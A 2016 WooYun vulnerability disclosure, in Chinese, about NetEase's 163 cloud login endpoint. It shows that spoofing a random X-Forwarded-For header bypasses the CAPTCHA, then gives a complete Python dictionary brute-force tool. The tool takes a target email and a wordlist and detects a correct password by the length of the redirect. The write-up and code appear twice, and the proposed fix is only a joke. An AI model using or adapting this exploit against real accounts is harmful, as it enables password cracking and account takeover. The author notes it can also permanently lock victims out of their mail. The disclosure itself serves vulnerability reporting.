当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0189862

漏洞标题:定向爆破(报废)你的网易邮箱带exp和exp制作思路

相关厂商:网易

漏洞作者: 肖泽

提交时间:2016-03-28 10:00

修复时间:2016-05-15 13:20

公开时间:2016-05-15 13:20

漏洞类型:网络设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-28: 细节已通知厂商并且等待厂商处理中
2016-03-31: 厂商已经确认,细节仅向厂商公开
2016-04-10: 细节向核心白帽子及相关领域专家公开
2016-04-20: 细节向普通白帽子公开
2016-04-30: 细节向实习白帽子公开
2016-05-15: 细节向公众公开

简要描述:

之前小伙伴挖到一个接口,说是可以改一下POST头就可以无限制爆破邮箱,扔给我让我去做EXP爆破,然后就发现了一堆坑爹问题,甚至报废了我自己拿来测试的邮箱。。。。。我真是日了狗了。。。。。

详细说明:

首先,进入这个网址选择邮箱登陆code>http://bbs.c.163.com/signin/</code>,本来在这里输错3出会跳出验证码,但是经过测试发现,在POST头里面加入X-Forwarded-For就可以绕过这个验证码。
之后我就根据这个,制作了一个EXP,是Python,我想讲讲思路,首先我们要先复位之前漏洞的情况,才能根据这个制作EXP,我先写了一个脚本,用来测试研究,这是代码

# -*- coding:utf-8 -*-
import requests
import random
def A(pwd,user):
ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))
url = 'http://auth.c.163.com/rest/login/callback'
post = 'service=NCE&loginType=1&errorCallback=http%3A%2F%2Fbbs.c.163.com%2FsigninError&callback=http%3A%2F%2Fbbs.c.163.com%2FsigninCallback&autoLogin=true&userName='+user+'&password='+pwd
headers = {'POST':'/rest/login/callback HTTP/1.1',
'Host':'auth.c.163.com',
'User-Agent':' Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding':'gzip, deflate',
'DNT':'1',
"X-Forwarded-For":ip,
'Referer':'http://bbs.c.163.com/signin',
'Cookie':' __utma=5463265.1819682429.1458918249.1458918249.1458918249.1; __utmz=5463265.1458918249.1.1.utmcsr=bbs.c.163.com|utmccn=(referral)|utmcmd=referral|utmcct=/signin/; _ga=GA1.2.1620526553.1459001670; Province=020; City=0755; vjuids=8430fc37.153b34708b9.0.90c7314b44efc8; vjlast=1459001690.1459001690.30; _ntes_nnid=4cc3ad38d63fc0971fba002dc274581e,1459001690337; vinfo_n_f_l_n3=a707719c6786aa8c.1.1.1459001690365.1459001692002.1459007251991; _ntes_nuid=4cc3ad38d63fc0971fba002dc274581e; AUTHC=2f81e22c3cbe0a3e1ff73bd007fbef95d7aa42b0',
'Connection':'close',
'Content-Type':'application/x-www-form-urlencoded',
'Content-Length':'230'
}
r = requests.post(url,post,headers=headers,allow_redirects=False)
return r.headers
print A(user='[email protected]',pwd='qq147855')

我相信大家都看到懂,一个简单的复现程序,我们先运行试试。

S]0BM{3PB@4GKUP_JL6YFT9.png


因为是测试,我就直接让函数返回整个请求的返回包进行对比,这个用户名和账号我都输入的是正确的,大家记住这个返回包,我们制作EXP首先是要确认两种情况,一种是入侵成功,一种是入侵失败,我们要写个if语句判断区别。
我把传入的账号密码写为错误的试试。

C0]%9$APATERI]SG{279)BI.png


这次是错误的密码,然后我们可以看到,这个跳转链接变得很短,很好,这就是我们写成功或者失败的if判断语句的判断点。

_T)(7H0`WT8QSL%`RR5DWDE.png

我加入了一行代码,修改了函数的返回,意思很简单,获取返回包里面的Location,也就是那个跳转网址的字符串,将这个字符串储存在H里面,然后lin()函数是用来计算字符串长度的,从图片里面我们可以看到,错误的里面那个字符串的长度为138,我们输入正确的密码看看。

WN(U5JH1$%ET2~[V~]1[S%4.png


很好,返回值是372,差别够大了,足够写一个if语句了,为了折中,我们把if语句的判断字符串是否成功的大小设置为200,大于200就是成功,小于200就是失败。
EXP不能这样麻烦,每次利用都要这样打开Python编译器运行,还要可以接收用户输入,还要能读取字典文件........
填充一下程序,一个简单的EXP到手。下面是源码:

#!/usr/bin/env python
# -*- coding: cp936 -*-
import re
import random
from sys import argv
import requests
def GetHtml(user,pwd):
ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))
url = 'http://auth.c.163.com/rest/login/callback'
post = 'service=NCE&loginType=1&errorCallback=http%3A%2F%2Fbbs.c.163.com%2FsigninError&callback=http%3A%2F%2Fbbs.c.163.com%2FsigninCallback&autoLogin=true&userName='+user+'&password='+pwd
headers = {'POST':'/rest/login/callback HTTP/1.1',
'Host':'auth.c.163.com',
'User-Agent':' Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding':'gzip, deflate',
"X-Forwarded-For":ip,
'DNT':'1',
'Referer':'http://bbs.c.163.com/signin',
'Connection':'close',
'Content-Type':'application/x-www-form-urlencoded',
'Content-Length':'230'
}
r = requests.post(url,post,headers=headers,allow_redirects=False)
H=r.headers.get('Location')
return len(H)
if(len(argv)==1):
print ' 使用说明 | 参数格式—> 邮箱账号 字典文件 '
print '字典放在当前目录 | 参数格式—> [email protected] pass.txt '
else:user=argv[1]
pwd=argv[2]
print '邮箱为 '+user
print '密码字典为 '+pwd
print '--->开始破解,请耐心等候'
for i in open(pwd):
print '正在尝试'+ i
if(int(GetHtml(user,i))>200):
print '密码为 '+i
print (int(GetHtml(user,i)))
break
else:
print '破解失败'


这是运行截图:

LE7U(L5@H0P%UE]W{YL)5TH.png


看起来不错吧,我们开始爆破,我这里用我的邮箱示范
敲入代码

MOA(OX}@}XOGY)B7)LE~7~P.png


开始破解了

()HDXU{PZI%A{Z4{CNZGM(W.png


为了演示,我随便拿的一个字典,正确密码再最后,别吐槽我字典。

U)M[%$]AGO~Z[_6T0V7Y8@W.png


密码出来了,本来以为这个洞也就这样了,,,,因为我作死,经常测试,,,,结果我的账号。。。

Q7]S)VM$B4AF5(`_X6(OC@O.png

即使输入正确的密码,走普通用户路线。。。也无法登陆,出现这个什么鬼邮箱认证失败。。。。。。
我试了重置账号密码等等一系列手段,只有最后重新注册覆盖才能使用,但是以前的数据全部被覆盖消失了。。。。。我只能说,这个EXP可能附带报废你的网易邮箱,拿自己邮箱测试的时候需谨慎。。。。。

漏洞证明:

首先,进入这个网址选择邮箱登陆code>http://bbs.c.163.com/signin/</code>,本来在这里输错3出会跳出验证码,但是经过测试发现,在POST头里面加入X-Forwarded-For就可以绕过这个验证码。
之后我就根据这个,制作了一个EXP,是Python,我想讲讲思路,首先我们要先复位之前漏洞的情况,才能根据这个制作EXP,我先写了一个脚本,用来测试研究,这是代码

# -*- coding:utf-8 -*-
import requests
import random
def A(pwd,user):
ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))
url = 'http://auth.c.163.com/rest/login/callback'
post = 'service=NCE&loginType=1&errorCallback=http%3A%2F%2Fbbs.c.163.com%2FsigninError&callback=http%3A%2F%2Fbbs.c.163.com%2FsigninCallback&autoLogin=true&userName='+user+'&password='+pwd
headers = {'POST':'/rest/login/callback HTTP/1.1',
'Host':'auth.c.163.com',
'User-Agent':' Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding':'gzip, deflate',
'DNT':'1',
"X-Forwarded-For":ip,
'Referer':'http://bbs.c.163.com/signin',
'Cookie':' __utma=5463265.1819682429.1458918249.1458918249.1458918249.1; __utmz=5463265.1458918249.1.1.utmcsr=bbs.c.163.com|utmccn=(referral)|utmcmd=referral|utmcct=/signin/; _ga=GA1.2.1620526553.1459001670; Province=020; City=0755; vjuids=8430fc37.153b34708b9.0.90c7314b44efc8; vjlast=1459001690.1459001690.30; _ntes_nnid=4cc3ad38d63fc0971fba002dc274581e,1459001690337; vinfo_n_f_l_n3=a707719c6786aa8c.1.1.1459001690365.1459001692002.1459007251991; _ntes_nuid=4cc3ad38d63fc0971fba002dc274581e; AUTHC=2f81e22c3cbe0a3e1ff73bd007fbef95d7aa42b0',
'Connection':'close',
'Content-Type':'application/x-www-form-urlencoded',
'Content-Length':'230'
}
r = requests.post(url,post,headers=headers,allow_redirects=False)
return r.headers
print A(user='[email protected]',pwd='qq147855')

我相信大家都看到懂,一个简单的复现程序,我们先运行试试。

S]0BM{3PB@4GKUP_JL6YFT9.png


因为是测试,我就直接让函数返回整个请求的返回包进行对比,这个用户名和账号我都输入的是正确的,大家记住这个返回包,我们制作EXP首先是要确认两种情况,一种是入侵成功,一种是入侵失败,我们要写个if语句判断区别。
我把传入的账号密码写为错误的试试。

C0]%9$APATERI]SG{279)BI.png


这次是错误的密码,然后我们可以看到,这个跳转链接变得很短,很好,这就是我们写成功或者失败的if判断语句的判断点。

_T)(7H0`WT8QSL%`RR5DWDE.png

我加入了一行代码,修改了函数的返回,意思很简单,获取返回包里面的Location,也就是那个跳转网址的字符串,将这个字符串储存在H里面,然后lin()函数是用来计算字符串长度的,从图片里面我们可以看到,错误的里面那个字符串的长度为138,我们输入正确的密码看看。

WN(U5JH1$%ET2~[V~]1[S%4.png


很好,返回值是372,差别够大了,足够写一个if语句了,为了折中,我们把if语句的判断字符串是否成功的大小设置为200,大于200就是成功,小于200就是失败。
EXP不能这样麻烦,每次利用都要这样打开Python编译器运行,还要可以接收用户输入,还要能读取字典文件........
填充一下程序,一个简单的EXP到手。下面是源码:

#!/usr/bin/env python
# -*- coding: cp936 -*-
import re
import random
from sys import argv
import requests
def GetHtml(user,pwd):
ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))
url = 'http://auth.c.163.com/rest/login/callback'
post = 'service=NCE&loginType=1&errorCallback=http%3A%2F%2Fbbs.c.163.com%2FsigninError&callback=http%3A%2F%2Fbbs.c.163.com%2FsigninCallback&autoLogin=true&userName='+user+'&password='+pwd
headers = {'POST':'/rest/login/callback HTTP/1.1',
'Host':'auth.c.163.com',
'User-Agent':' Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding':'gzip, deflate',
"X-Forwarded-For":ip,
'DNT':'1',
'Referer':'http://bbs.c.163.com/signin',
'Connection':'close',
'Content-Type':'application/x-www-form-urlencoded',
'Content-Length':'230'
}
r = requests.post(url,post,headers=headers,allow_redirects=False)
H=r.headers.get('Location')
return len(H)
if(len(argv)==1):
print ' 使用说明 | 参数格式—> 邮箱账号 字典文件 '
print '字典放在当前目录 | 参数格式—> [email protected] pass.txt '
else:user=argv[1]
pwd=argv[2]
print '邮箱为 '+user
print '密码字典为 '+pwd
print '--->开始破解,请耐心等候'
for i in open(pwd):
print '正在尝试'+ i
if(int(GetHtml(user,i))>200):
print '密码为 '+i
print (int(GetHtml(user,i)))
break
else:
print '破解失败'


这是运行截图:

LE7U(L5@H0P%UE]W{YL)5TH.png


看起来不错吧,我们开始爆破,我这里用我的邮箱示范
敲入代码

MOA(OX}@}XOGY)B7)LE~7~P.png


开始破解了

()HDXU{PZI%A{Z4{CNZGM(W.png


为了演示,我随便拿的一个字典,正确密码再最后,别吐槽我字典。

U)M[%$]AGO~Z[_6T0V7Y8@W.png


密码出来了,本来以为这个洞也就这样了,,,,因为我作死,经常测试,,,,结果我的账号。。。

Q7]S)VM$B4AF5(`_X6(OC@O.png

即使输入正确的密码,走普通用户路线。。。也无法登陆,出现这个什么鬼邮箱认证失败。。。。。。
我试了重置账号密码等等一系列手段,只有最后重新注册覆盖才能使用,但是以前的数据全部被覆盖消失了。。。。。我只能说,这个EXP可能附带报废你的网易邮箱,拿自己邮箱测试的时候需谨慎。。。。。

修复方案:

咳咳,洗澡吧

版权声明:转载请注明来源 肖泽@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-03-31 13:10

厂商回复:

该问题已经修复,感谢您对网易产品的关注。

最新状态:

暂无